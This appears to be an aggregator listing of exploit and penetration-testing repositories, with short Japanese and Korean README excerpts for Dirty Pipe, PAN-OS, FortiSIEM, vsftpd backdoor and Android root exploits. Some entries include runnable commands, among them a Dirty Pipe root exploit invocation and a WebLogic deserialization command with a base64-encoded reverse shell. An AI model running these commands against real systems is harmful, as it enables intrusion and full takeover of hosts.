-CVE-2019-14287-SUDO-bypass-vulnerability

このリポジトリには README がありません。...

CVE_2022_0847

CVE20220847 CVE-2022-0847: Linuxカーネルの権限昇格の脆弱性 POC ルートシェルを取得するためのシンプルなPoC。 root@kitploit: $ gcc cve20220847.c -o exploit $ ./exploit /etc/passwd 1 ootz: $ su rootz id uid=0root gid=0root groups=0root...

pwncat_dirtypipe

pwncatdirtypipe pwncatモジュールで、CVE-2022-0847（dirtypipe）を自動的に悪用します。 はじめに このモジュールの目的は、pwncatを使用している際にターゲット上でCVE-2022-0847（dirtypipe）を悪用しようとすることです。 ディレクトリの設定やソースのコンパイル、リモートターゲットにgccをインストールする必要は一切ありません。dirtypipeモジュールがpwncatフレームワークを使って自動的に処理します。 セットアップと使用方法 dirtypipe.py...

Hijacker

Hijacker Hijacker는 침투 테스트 도구 Aircrack-ng, Airodump-ng, MDK3 및 Reaver를 위한 그래픽 사용자 인터페이스입니다. 콘솔에 명령을 입력하거나 MAC 주소를 복사&붙여넣기 하지 않고도 이러한 도구를 사용할 수 있는 간단하고 쉬운 UI를 제공합니다. 이 애플리케이션은 모니터 모드 를 지원하는 내부 무선 어댑터가 있는 ARM 안드로이드 장치가 필요합니다. 일부 안드로이드 장치는 지원하지만 기본적으로 지원하는 장치는 없습니다. 즉, 커스텀 펌웨어가 필요합니다. BCM4339...

dirtyPipe-automaticRoot

Dirty Pipe 自動 root エクスプロイト CVE-2022-0847 依存関係: Python 3.10 以上 使用方法: 自動 root: root@kitploit: $ python3.10 dirtyPipe.py -a + hjacking super user in /etc/passwd + dropipng shell 書き込み権限がない、不変、または読み取り専用でマウントされたファイルへの書き込み: root@kitploit: $ python3.10 dirtyPipe.py -w FILE OFFSET DATA @terabitSec 🦜 からの提供...

CVE-2015-1318

CVE-2015-1318 Matthew Mightのコンパイラクラスで最終成績の10%の追加点を獲得するために使用したエクスプロイト。 https://bugs.launchpad.net/apport/+bug/1438758 ボーナスチャンス（http://matt.might.net/teaching/compilers/spring-2015/）...

CVE-2021-22123

CVE-2021-22123 Fortinet FortiWeb 認証済みOSコマンドインジェクション Hit Counter FortiWeb管理インターフェースにおけるコマンドインジェクションの脆弱性により、認証済みのリモート攻撃者がSAMLサーバー設定ページを介してシステム上で任意のコマンドを実行できる可能性があります。最大権限でコマンドを実行すると、攻撃者がサーバーを完全に制御できるようになります。これはCWE-78:...

celerystalk

celerystalk celerystalk helps you automate your network scanning/enumeration process with asynchronous jobs aka tasks while retaining full control of which tools you want to run. Interactive Demo: Bug Bounty Mode HackerOne Interactive Demo: Vulnerability Assessment / PenTest Mode Retired...

CVE-2024-23108

CVE-2024-23108 POC 脆弱なFortiSIEMアプライアンス上でrootとしてコマンドを盲目的に実行するための概念実証エクスプロイトです。 リストを指定するオプションを追加し、色付けも施しました。 オリジナル（およびすべての功績）はhorizon3に帰属します（下記のブログ記事を参照）。 ブログ記事 根本原因と侵害の指標（IOC）はこちら：...

zenfone9-root

zenfone9-root — ブートローダーロックされた ASUS Zenfone 9 における一時的 root ブートローダーのロック解除ができない ASUS Zenfone 9 AI2202 で 一時的な root uid 0 を取得する ための研究用コードとメモ — ASUS が unlock ツールを廃止し、開発者オプションから OEM ロック解除トグルを削除し、現行ファームウェアでは fastboot oem unlock / flashing unlock を強硬に拒否するためである。 これはブートローダーのロック解除ではなく、何もフラッシュしない。これは ランタイム ro...

NetMRI-2014-3418

NetMRI-CVE-2014-3418 - Metasploitモジュール InfoBlox Network Automation OSコマンドインジェクション Metasploitモジュール 製品: root@kitploit: NetMRI Switch Port Manager Automation Change Manager Security Device Controller ベンダー: root@kitploit: InfoBlox 影響を受けるバージョン: root@kitploit: 6.4.X.X-6.8.4.X テスト済みバージョン: root@kitploit:...

CVE-2025-21479-FX5P

CVE-2025-21479 · OPPO Find X5 Pro PFEM00 一時的root OPPO Find X5 Pro PFEM00（カーネル 5.10.198-android12-9、ColorOS、ロックされたブートローダー）向けのRAMのみの一時root。CVE-2025-21479（Adreno KGSL）を経由して KernelSU v3.3.0 LKMをレイトロードします。中文：READMEzh.md チェーン：KGSL物理R/W → OEMガード解除、SELinux permissive、kptrrestrict=0 →...

POC-CVE-2026-0300-exploit

CVE-2026-0300 — PAN-OS User-ID Authentication Portal バッファオーバーフローエクスプロイト 重大 CVSS 9.3 — Palo Alto Networks PAN-OS Captive Portal における未認証のリモートコード実行 目次 概要 脆弱性の詳細 影響を受けるバージョン アーキテクチャ図 プロジェクト構成 インストール スキャナの使用方法 — ステップバイステップ エクスプロイトの使用方法 — ステップバイステップ ペイロード設計 緩和策 免責事項 概要 CVE-2026-0300 は、Palo Alto Network...

haxx

haxx iOS 14 - iOS 14.8.1에서 루트 권한으로 Untethered + Unsandboxed 코드 실행 해킹. CoreTrustDemo를 기반으로 하며, 인증서는 저작권 대상이 아닙니다. 사용법 참고: macOS + 기존 탈옥 필요 준비 및 실행 이 방법은 14.0-14.6에서 작동합니다. 14.714.7b1-14.8.1은 launchd 교체launchd.c 참조가 필요하며, 안전성이 떨어집니다. 1. Procursus Team의 ldid가 설치되어 있는지 확인하십시오. 2. haxx.c를 수정하여 자신의 코드를...

CVE-2026-38577

CVE-2026-38577 — Tenda HG21 ハードコードされたルート認証情報 概要 フィールド| 値 ---|--- CVE ID| CVE-2026-38577 ベンダー| Tenda 製品| Tenda HG21 XPON ファイバーモデム 影響を受けるバージョン| V4.0.0-260302 プロダクトキー| HG21-V1.0-TDE01 ハードウェアバージョン| V1.0 ファームウェアビルド日| 2026-03-02 ファームウェアファイル| USHG21re300002982enxpon2.zip 脆弱性クラス| CWE-798: ハードコードされた認証情報の使...

CVE-2024-3400

PAN-OS ファイアウォール エクスプロイト スクリプト このスクリプトは、PAN-OS ファイアウォールの脆弱性を悪用するデモを目的としています。特別に細工されたペイロードをファイアウォールのAPIエンドポイントに送信し、任意のコマンドを実行します。このエクスプロイトは、特定のPAN-OSバージョン向けのPalo Alto Networks...

vsftpd-backdoor

vsftpd 2.3.4 バックドアのエクスプロイト CVE-2011-2523 このエクスプロイトは、vsftpd FTP サービスのバージョン 2.3.4 に存在するバックドアを利用します。このバックドアは悪意をもってソースコードに挿入され、影響を受けるサーバ上で root としてリモートからコマンドを実行できるようにします。 動作 バックドアは、ユーザー名に : を含め、任意のパスワードを送信することで起動します。これにより、サーバはポート 6200 で接続を開き、インタラクティブなシェルを取得できます。 必要条件: Python 3 pwntools インストール...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 リバースシェル ローカルIP：172.16.38.1 Weblogic：172.16.38.174:7001 1、 ローカルで実行 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' その後、nc -lvv 7777 を実行 （1） ここ...

CVE-2016-2067

ADRENO GPU IOMMU DMA EXPLOIT Tested under Nexus 6p google/angler/angler:6.0.1/MMB29M/2431559:user/release-keys バグについて 2016年にBlackhat EUで議論されました。 エクスプロイトについて IOMMU DMA書き込みにより、vdso.soがシェルコードで上書きされます。 そのため、/initがkernelclockgettimeを実行した後、シェルコードが実行されます。 /initプロセスはその後、ルートシェルでコネクトバックします。 ログ root@kitploi...

firepwner

CVE-2015-6357: Cisco FireSIGHT Management Center SSL検証の脆弱性に対するFirePWNERエクスプロイト はじめに 単独では、Cisco FireSIGHT Management Centerの証明書検証の脆弱性は中程度 の深刻度で、CVSS スコアは5.1 です。しかし、この脆弱性はSSL証明書の検証がなぜそれほど重要なのかを示す一例です。このエクスプロイトでは、この脆弱性を利用してCisco FireSIGHTシステム上で特権を伴うリモートコマンド実行を獲得する方法を実演します。このエクスプロイトは、SSL検証の脆弱性をCisco...